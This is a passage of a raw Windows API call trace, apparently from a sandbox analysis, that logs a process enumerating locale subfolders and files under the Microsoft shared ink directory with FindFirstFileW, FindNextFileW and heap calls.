ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.110] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.110] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0093.110] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.110] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0093.110] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0093.111] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.111] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.111] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.111] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0093.111] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.111] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0093.111] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.112] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.112] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.112] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0093.112] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260850 [0093.112] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.113] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.113] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.113] FindClose (in: hFindFile=0x4260850 | out: hFindFile=0x4260850) returned 1 [0093.113] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.113] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0093.113] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0093.114] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.114] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.114] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.115] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0093.115] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.115] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0093.115] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0093.115] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0093.115] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.115] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.116] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0093.116] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0093.116] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260850 [0093.116] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.117] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.117] FindClose (in: hFindFile=0x4260850 | out: hFindFile=0x4260850) returned 1 [0093.117] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.117] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0093.117] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0093.117] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.117] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.117] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.118] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0093.118] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.118] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0093.118] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0093.119] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: 